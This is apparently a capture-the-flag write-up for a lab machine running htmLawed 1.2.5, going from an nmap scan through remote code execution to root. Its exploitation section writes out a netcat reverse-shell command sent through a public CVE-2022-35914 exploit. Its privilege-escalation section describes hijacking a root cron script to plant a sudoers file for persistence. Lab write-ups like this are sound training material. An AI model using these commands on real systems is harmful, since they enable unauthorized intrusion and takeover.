Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: htmLawed (1.2.5) test
|_http-server-header: Apache/2.4.56 (Debian)Enumeration
| Port | Service | Comment |
|---|---|---|
22 | SSH | No credentials at the moment |
80 | HTTP | HTMLawed v1.2.5 |
htmLawed “purifies and filters HTML”. There is an RCE vulnerability in v1.2.5.
Exploitation
I found this exploit. There is a bit of tweaking to do here, specifically in the uri parameter. Instead of uri = "/vendor/htmlawed/htmlawed/htmLawedTest.php", we want to set it to uri = "/index.php", since the tool lives on this page.

After that, we give it a test-run and it prints the id command output for us.

Now we just open a listener and feed it a reverse shell payload.
python3 CVE-2022-35914.py -u http://192.168.175.190 -c 'nc 192.168.45.221 22 -e /bin/sh'
Privilege Escalation
In www-data’s home directory (/var/www), we find local.txt and a script called cleanup.sh. What it does is remove some apache2 logs. It is owned by us, but since we do not have permission to access the directory housing the logs, it makes me think that root is somehow running the script. Uploading pspy64 to the target and running it confirms my suspicion.

Since we have write permissions on the file, we can just add a command to the bash script that creates a sudoers file for us with unrestricted permissions. We could have also inserted a reverse shell payload, but the sudoers file establishes persistence, which is better.

I reopened pspy64 and monitored the processes until I saw that the cron job ran. From there it is a simple as sudo su and we are root!

✨ Done! ✨